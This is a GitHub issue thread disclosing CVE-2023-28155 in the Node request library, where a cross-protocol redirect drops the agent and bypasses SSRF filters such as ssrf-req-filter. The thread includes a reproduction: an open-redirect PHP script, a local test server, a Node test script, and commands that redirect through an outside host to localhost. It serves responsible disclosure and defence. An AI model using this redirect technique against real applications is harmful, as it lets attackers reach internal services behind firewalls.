request / request

🏊🏾 Simplified HTTP request client.
Apache License 2.0
25.67k stars 3.14k forks source link

CVE-2023-28155 Request allows a bypass of SSRF mitigations via an attacker-controller server that does a cross-protocol redirect #3442

Open SzymonDrosdzol opened 1 year ago

SzymonDrosdzol commented 1 year ago

Summary

I am a security researcher at Doyensec.

During a security engagement I have identified a security vulnerability in the Request library. In a spirit of a Responsible Disclosure we have tried to contact the maintainer directly on 12/02/2022 and 01/18/2023 via email, but we have received no answer.

Please provide a communication channel that would allow us to share the technical details and the proposed fix, otherwise we will be forced to disclose the vulnerability publicly.

You can contact me via email: szymon@doyensec.com

ReduxMPX commented 1 year ago

Not my conversation to be involving myself in, but why would you be forced to disclose the vulnerability publicly if they don't respond?

ikkisoft commented 1 year ago

Please refer to https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-faq.html "Why are disclosure deadlines necessary?" if you're not familiar with standard vulnerability disclosure practices

SzymonDrosdzol commented 1 year ago

Summary

A Server Side Request Forgery (SSRF) attack describes the ability of an attacker to create network connections from a vulnerable web application to the internal network and other Internet hosts. Frequently, a SSRF vulnerability is used to attack internal services placed behind a firewall and not directly accessible from the Internet.

The Request library can be leveraged to initiate an HTTP / HTTPS connection and potentially gather information about the victim's internal infrastructure even if there's anti-SSRF filtering in place.

The issue has been assigned with a CVE-2023-28155 identification number.

Technical Description

In JavaScript HTTP clients the SSRF filters utilize the HTTP(S) agents to hook to the onConnect event to filter the target hosts before the communication starts. In case of a redirect with a protocol switch (eg. HTTP redirecting to HTTPS) the library deletes the agent, all event listeners and SSRF protection in the process. This behavior can be observed in the lib/redirect.js:

// handle the case where we change protocol from https to http or vice versa
if (request.uri.protocol !== uriPrev.protocol) {
  delete request.agent
}

Reproduction Steps

The issue can be demonstrated using the following steps:

  1. Prepare an attacker-controlled server with the ability to redirect to arbitrary URLs. Example PHP script:
<?php  header('Location: '.$_GET["target"]); ?>
  1. Set up a local HTTP server.
$ python3 -m http.server 80
  1. Prepare a test script with anti-SSRF protection plugged into request library:
const request = require('request');
const ssrfFilter = require('ssrf-req-filter');

let url = process.argv[2];
console.log("Testing", url);

request({
    uri: url,
    agent: ssrfFilter(url),
});

console.log("OK");
  1. For the sake of an example, I have placed the redirect script on my server tellico.fun.

  2. Verify that in case of a redirect without protocol switch the SSRF attempt is blocked:

$ node dev/request.js "https://tellico.fun/redirect.php?target=https://localhost/test"
Testing https://tellico.fun/redirect.php?target=https://localhost/test
events.js:353
      throw er; // Unhandled 'error' event
      ^

Error: Call to 127.0.0.1 is blocked.
  1. Verify that in case of cross-protocol redirect the SSRF is still possible (also the local HTTP server logs should show the incoming request):
$ node dev/request.js "https://tellico.fun/redirect.php?target=http://localhost/test"
Testing https://tellico.fun/redirect.php?target=http://localhost/test
OK
rgnova commented 1 year ago

I imagine this is where the problem lies?: https://github.com/request/request/blame/3c0cddc7c8eb60b470e9519da85896ed7ee0081e/lib/redirect.js#L111

I'm having a hard time deciding if this should be considered a requestjs "vuln" or if its more of a "bug". It looks like requestjs was always vulnerable to SSRFs, and ssrf-req-filter is what fixed the problem. But given how requestjs is written, this bug is the way to bypass ssrf-req-filter.

Either way, it looks unfixable without editing requestjs's source.

And given that requestjs has been deprecated for years, my guess is this won't be fixed. So wouldnt this mean its now time to move to other libraries? At least for companies that need to keep their npm audits "up to code"

ronjouch commented 1 year ago

Tangential call for help, and question addressed to subscribers of this issue: is it clear to you how to get SSRF protection in recently-introdued-in-node18 fetch like we do in axios/request with a plugin like ssrf-req-filter? (Putting this CVE aside, of course).

It's not to me. Community implementation node-fetch has support for something similar, but I can't find anything in the new implementation maintained by nodejs based on undici. I created https://github.com/nodejs/undici/issues/2019 with details, any clues welcome there.

END Tangential call for help, sorry for the mild noise, please comment about SSRF-in-native-node-fetch at https://github.com/nodejs/undici/issues/2019 , not here.

KernowSec commented 9 months ago

Sorry to revive this, @SzymonDrosdzol does this affect the request-promise library, and if so what are the reproduction steps?

SzymonDrosdzol commented 9 months ago

Hi @KernowSec

It seems that the request-promise is a simple wrapper around the original request library, so I would expect it to be just as vulnerable. Reproduction will be probably very similar to the original too.

The request-promise is also considered deprecated, so the best recommendation is to plan the migration to other libraries.